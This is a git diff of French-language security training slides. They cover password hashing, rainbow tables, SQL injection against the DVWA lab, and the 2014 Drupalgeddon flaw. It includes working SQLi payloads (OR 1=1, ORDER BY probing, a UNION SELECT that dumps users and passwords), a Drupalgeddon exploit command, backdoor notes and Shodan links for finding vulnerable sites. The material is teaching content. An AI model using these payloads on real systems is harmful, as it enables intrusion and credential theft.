diff --git a/content/slides/1337/images/sidoine/SQLi-1.png b/content/slides/1337/images/sidoine/SQLi-1.png
index b7de1645de06cb4a72514a728455d6bf38ead39d..9f528b4d7c93260b05810e11918ce022cbc67184 100644
Binary files a/content/slides/1337/images/sidoine/SQLi-1.png and b/content/slides/1337/images/sidoine/SQLi-1.png differ
diff --git a/content/slides/1337/images/sidoine/SQLi-2-https.png b/content/slides/1337/images/sidoine/SQLi-2-https.png
index 1c2afcf3c2451e6f27290c0e89da04bc81eec302..aff8f213cde749f2612cee1869b544ed597d710f 100644
Binary files a/content/slides/1337/images/sidoine/SQLi-2-https.png and b/content/slides/1337/images/sidoine/SQLi-2-https.png differ
diff --git a/content/slides/1337/images/sidoine/SQLi-db-clear.png b/content/slides/1337/images/sidoine/SQLi-db-clear.png
new file mode 100644
index 0000000000000000000000000000000000000000..fcf5868c1d9ec2d2f0a6d818fc5f2dfebb71c756
Binary files /dev/null and b/content/slides/1337/images/sidoine/SQLi-db-clear.png differ
diff --git a/content/slides/1337/images/sidoine/SQLi-db-hash.png b/content/slides/1337/images/sidoine/SQLi-db-hash.png
new file mode 100644
index 0000000000000000000000000000000000000000..1701f50fa3f02166345d639a507f3093793f130c
Binary files /dev/null and b/content/slides/1337/images/sidoine/SQLi-db-hash.png differ
diff --git a/content/slides/1337/images/sidoine/sql-union.png b/content/slides/1337/images/sidoine/sql-union.png
new file mode 100644
index 0000000000000000000000000000000000000000..8f1e0a788bc0b04b74860154eab5068324b76ef1
Binary files /dev/null and b/content/slides/1337/images/sidoine/sql-union.png differ
diff --git a/content/slides/1337/md/sidoine.md b/content/slides/1337/md/sidoine.md
index 8369d82a42a9902fc3888365cd054c557d280003..0934328916768b7b53d73d07c4e846c7a2fac792 100644
--- a/content/slides/1337/md/sidoine.md
+++ b/content/slides/1337/md/sidoine.md
@@ -24,105 +24,193 @@ Mot de passe: <input id="password" type="password" name="password" value="123adm
 
 ### Où sont les failles de sécurité?<!-- .element class="fragment roll-in" -->
 
+Note:
+- Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur
+  - en clair
+- Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données
+  - dont le mot de passe
+- Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
+  - égalité = utilisateur authentifié
+  - différence = utilisateur ou mot de passe invalide
 
-* Le navigateur envoie le contenu des champs `Utilisateur` et `Mot passe` au serveur
-    * en clair
 
-* Le serveur va chercher les informations concernant l' `Utilisateur` mazenovi dans sa base de données
-    * dont le mot de passe
+## https
 
-* Le serveur compare ensuite la valeur du mot de passe issude la base de donnée avec celui qu'il a reçu du formulaire d'authentification
-    * égalité = utilisateur authentifié
-    * différence = utilisateur ou mot de passe invalide
+![SQLi](images/sidoine/SQLi-2-https.png "SQLi")
 
+Note:
+- Lors de la transmission du mot de passe => utiliser https
+  - il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/
 
-![SQLi](images/sidoine/SQLi-2-https.png "SQLi")
 
+## sqli
 
-![SQLi](images/sidoine/SQLi-full.png "SQLi")
+![SQLi](images/sidoine/SQLi-db-clear.png "SQLi")
 
+Note:
+- Lors du stockage du mot de passe
+  - Pourquoi? 
+    - Le mot de passe n'est jamais affiché et voilà
 
-* Lors de la transmission du mot de passe => utiliser https
-    * il est très facile de transformer sa carte wifi en écouteur de paquet du réseau local https://www.aircrack-ng.org/
+## Bonne pratique 
 
-* Lors du stockage du mot de passe
-    * Pourquoi? 
-        * Le mot de passe n'est jamais affiché et voilà
+### stocker les mots de passe hashés
 
+[Facebook a stocké des millions de mots de passe en clair : ce que vous risquez, ce qu’il faut faire](https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html)
 
-## https
 
-canal chiffré
+## sqli
+
+![SQLi](images/sidoine/SQLi-db-hash.png "SQLi")
+
+Note:
+- Mot de passe hashé
+
+
+## hashage
+
+* <strike>SHA256(passeenclair) 
+  * =>  5452409edd9626898129c983ec443748</strike>
+* SHA256(passeenclair) 
+  * => 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
+* SHA256(admin) 
+  * => 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918
+
+
+## Rainbow tables
+
+### [https://crackstation.net/](https://crackstation.net/)
+
+* Hashs précalculés de valeurs communes
+
+* 8C6976E5B5410415BDE908BD4DEE15DFB167A9C873FC4BB8A81F6F2AB448A918 
+  * => admin
+
+* 4D0C44C76936FBF16F5E2E4860BA4AC41AB377B5156D2D1A75DF3FE994812FE4
+  * => ????
+
+
+## Bonne pratique
+
+### Introduire des validations sur la robustesse du mot de passe.
+
+* minuscule + majuscule + caractères spéciaux + numériques
+* longueur minimum (passphrase)
+
+### Ajouter un sel
+
+* SHA256(admin+selsupercompliqué) 
+
 
 ## SQLi
 
+* aka injection SQL
+* faille n°1 dans le [top 10 owasp](https://www.owasp.org/index.php/Top_10-2017_Top_10) depuis plusieurs années
+* que peut on faire avec une SQLi?
+    * lire des données protégées
+    * corrompre des données
+    * dénis de services
+    * lecture / écriture sur le système de fichiers
+    * exécution de commandes arbitraires
+
+
+## SQLi
+
+```
 http://dv.wa/vulnerabilities/sqli/
+```
 
 Tout commence par un message d'erreur anodin
 
+```
 http://dv.wa/vulnerabilities/sqli/?id='&Submit=Submit#
+```
 
-intéressant!
+```
+You have an error in your SQL syntax; check the manual 
+that corresponds to your MySQL server version 
+for the right syntax to use near ''''' at line 1
+```
+
+### intéressant!?<!-- .element class="fragment roll-in" -->
 
+
+## SQLi / détournement
+
+```
 http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1#&Submit=Submit
+```
+
+soit en version encodée
 
+```
 http://dv.wa/vulnerabilities/sqli/?id=%27+OR+1%3D1+%3B%23%23&Submit=Submit
+```
 
-encore mieux mais on affiche toujours pas les mot de passe car on a pas la main sur la clause select
+### encore mieux<!-- .element class="fragment roll-in" -->
+### mais!<!-- .element class="fragment roll-in" -->
+#### on affiche toujours pas les mot de passe car on a pas la main sur la clause select<!-- .element class="fragment roll-in" -->
+### des idées?<!-- .element class="fragment roll-in" -->
 
-on peut injecter une UNION ()
 
+## Say hello to UNION
+
+```
 SELECT column_name(s) FROM table1
 UNION
 SELECT column_name(s) FROM table2;
+```
 
-mais les clauses select doivent être compatibles
-
-intuition : il y a Deux champs dans la clause SELECT de la requête
+![Union](images/sidoine/sql-union.png "Union")
 
-Jouons avec la clause ORDER BY
+### Les clauses select doivent avoir le même nombre d'éléments!?<!-- .element class="fragment roll-in" -->
 
-http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
 
+## déduire le nombre de champs
 
-http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT NULL, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) FROM users#&Submit=Submit
+### intuition?
+### jouer avec order BY
 
-Nous avons les mots de passes
+```
+http://dv.wa/vulnerabilities/sqli/?id=' OR 1=1 ORDER BY 2#&Submit=Submit
+```
 
-Montrer le code, préciser PHP5
+soit une fois les paramètres encodés
 
-Essayons les 
+```
+http://dv.wa/vulnerabilities/sqli/?id=%27%20OR%201%3D1%20ORDER%20BY%202%23&Submit=Submit
+```
 
-Aucun ne marche: nous avons récupérer des hasher des mot de passe
 
-**Bonne pratique** stocker les mots de passe hashés
+## Affichage des mots de passe
 
-ce qui donne une autre saveur à ce genre de news
+```
+http://dv.wa/vulnerabilities/sqli/?id=' AND 1=0 UNION SELECT user, password FROM users#&Submit=Submit
+```
 
-https://www.numerama.com/tech/473877-facebook-a-stocke-des-millions-de-mots-de-passe-en-clair-ce-que-vous-risquez-ce-quil-faut-faire.html
+soit une fois les paramètres encodés
 
-Si on veut aller plus on peut tenter de révéler les mots de passe en clair par table arc en ciel
+```
+http://dv.wa/vulnerabilities/sqli/?id=%27%20AND%201%3D0%20UNION%20SELECT%20user%2C%20password%20FROM%20users%23&Submit=Submit
+```
 
-https://crackstation.net/
+* Mot de passe hashé
+* [https://crackstation.net/](https://crackstation.net/)
+  * 5f4dcc3b5aa765d61d8327deb882cf99
+    * => md5 - password
 
-**Bonne pratique** stocker des mots de passe complexes. pour ce faire introduire des validations sur la robustesse du mot de passe.
 
-* min / maj / sécique / chiffres
-* long (surtout)
+## SQLi de la vraie vie (2014)
 
-## revenons au SQLi
+* les SQLi n'apparaissent pas (plus) de manière aussi grossière
+  * utilisation notamment des requêtes préparées 
+    * échappent les paramètres 
 
-* faille n°1 dans le top 10 owasp depuis plusieurs années
+* Voici une vraie faille du CMS drupal  ...
 
-* que peut on faire avec une SQLi à part lire des données sensibles telles que le mot de passe?
-    * Corrompre des données
-    * Dénis de services
-    * Lecture / écriture sur le système de fichiers
-    * Exécution de commandes arbitraires
 
-* n'apparaissent plus de manière aussi grossière grâce au requêtes préparées qui échappent les paramètres 
+## Drupalgeddon<!-- .slide: data-background="images/drupalgeddon/drupalgeddon.jpg" data-background-size="135%" data-background-color="black"-->
 
-## voyons un vrai faille drupal de 2014 et comment l'exploiter
 
 ## La faille
 
@@ -131,6 +219,32 @@ https://crackstation.net/
   * Date: 2014-October-15
   * Security risk: [25/25 ( Highly Critical)](https://www.drupal.org/security-team/risk-levels)
 
+#### exploitable à partir du formulaire d'authentification!<!-- .element class="fragment roll-in" -->
+### sans aucun privilège!<!-- .element class="fragment roll-in" -->
+
+
+## Trouver un système vulnérable sur le www
+
+[![shodan HQ](../privacy/images/jnarac/ie/shodan-hq.png "shodan HQ")<!-- .element: align="right" width="65%" -->](https://www.shodan.io/search?query=drupal)
+
+[![Google-Fu](images/drupalgeddon/Google-fu-chuck-norris.jpg "Google-Fu")<!-- .element: width="30%" -->](https://www.exploit-db.com/google-hacking-database/?action=search&ghdb_search_cat_id=0&ghdb_search_text=drupal)
+
+
+## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
+
+* 16 sept. 2014 : notification à Drupal
+* 15 oct. 2014 : publication du correctif
+* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
+* 3 nov. 2014 : release de deux exploits publiques
+
+
+## Timeline côté attaquant
+
+* 16 sept. 2014 : notification à Drupal
+* 15 oct. 2014 : publication du correctif
+* 15 oct. 2014, 4h après : exploitations en cours…
+* 16 oct. 2014 : de très nombreux Drupal compromis…
+
 
 ## La faille
 
@@ -150,7 +264,7 @@ foreach (array_filter($args, 'is_array') as $key => $data) {
   * il y a donc possibilité d'injecter du code SQL dans les clés des paramètres HTTP
 
 
-## La faille
+## Le patch
 
 [includes/database/database.inc](https://github.com/pressflow/7/commit/a0fee30d766a4760db96fac8aacac462e50f61b9) ligne 738
 
@@ -174,33 +288,6 @@ Note:
 - debugging et dump variable à creuser
   - code drupal compliqué ou mal fait
 
-## Trouver un système vulnérable sur le www
-
-* ne filtrer que les drupal vulnérables
-  * [<i class="fa fa-github"></i> Dionach/CMSMap](https://github.com/Dionach/CMSmap)
-
-```http
-$ python cmsmap.py -t http://drup.al
-...
-[H] Drupal Vulnerable to SA-CORE-2014-005
-...
-```
-
-## [Timeline grand publique](http://www.nbn.org.uk/News/Latest-news/Drupalgeddon-response.aspx)
-
-* 16 sept. 2014 : notification à Drupal
-* 15 oct. 2014 : publication du correctif
-* 29 oct. 2014 : [communication de Drupal (PSA-2014-003)](https://www.drupal.org/PSA-2014-003)
-* 3 nov. 2014 : release de deux exploits publiques
-
-
-## Timeline côté attaquant
-
-* 16 sept. 2014 : notification à Drupal
-* 15 oct. 2014 : publication du correctif
-* 15 oct. 2014, 4h après : exploitations en cours…
-* 16 oct. 2014 : de très nombreux Drupal compromis…
-
 
 ## Exploitation manuelle
 
@@ -222,7 +309,8 @@ par
 Note:
 - mettre un mot de passe
 
-## PoC
+
+## Exploit
 
 [<i class="fa fa-github"></i> MKorostoff/drupalgeddon](https://github.com/MKorostoff/drupalgeddon)
 
@@ -253,6 +341,7 @@ $data = file_get_contents($url . '?q=node&destination=node', 1, $ctx);
 $ php attack/inject-sql.php 'http://drup.al' 'DELETE FROM flood'
 ```
 
+
 ## Backdoor
 
 rerésente 68% des attaques
@@ -271,8 +360,6 @@ phpinfo();';
 
 * [passthru()](http://php.net/manual/fr/function.passthru.php)
 
-* Sexy backdoor [http://www.r57shell.net/shell/c99.txt](http://www.r57shell.net/shell/c99.txt)
-
 
 ## Backdoor